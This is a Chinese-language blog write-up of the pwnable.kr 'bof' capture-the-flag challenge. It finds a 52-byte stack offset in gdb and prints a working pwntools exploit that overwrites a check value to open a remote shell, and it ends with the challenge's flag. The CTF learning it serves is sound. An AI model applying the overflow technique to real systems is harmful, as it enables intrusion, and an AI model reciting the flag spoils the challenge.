pwnable.kr第三题:bof

pwnable.kr

下载

先将bofbof.c下载下来,先检查下 bof开启的保护

是真的吓到,基本能开的都开了,但是转念一想,入门级别没有那么恶心人吧,然后看看源代码

发现,只是要将传入的0xdeadbeef通过栈溢出换成0xcafebabe,而且在程序里面已经有调用system("/bin/sh")的语句,只要替换成功就能调用,那这些保护基本也没什么意义嘛。

gdb调试

继续单步,输入AAAAAAAA,之后x/30x $esp查看栈空间

AASCLL值为41,可以看出,我们要覆盖的地址与输入地址相差52个字节.

Exp

from pwn import *

r = remote('pwnable.kr','9000')

buf = 52 * 'A'
buf += p32(0xcafebabe)

r.sendline(buf)

r.interactive()

运行下

flag =daddy, I just pwned a buFFer :)

©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容

  • 0x01 fd 文件描述符 0、1、2分别代表标准输入、标准输出和标准错误,所以输入0x1234的十进制值,再次...
    Nevv阅读 5,866评论 0 6
  • pwnable.kr bof 同样的,既然有源代码。我们就配合着源代码来做题,这样可能更利于搞懂高级语言被反汇编之...
    CodeRambler阅读 413评论 0 0
  • 目录 1.解释self = [super init]方法 容错处理,当父类初始化失败,会返回一个nil,表示初始化...
    勇敢的_心_阅读 1,411评论 0 4
  • 0x01 Start checksec 的时候可以看到程序没有打开任何的安全保护措施,然后查看IDA下的汇编代码,...
    Nevv阅读 1,720评论 0 2
  • 1、文件和目录: # cd /home 进入 '/home' 目录 # cd .. ...
    XDgbh阅读 2,044评论 0 1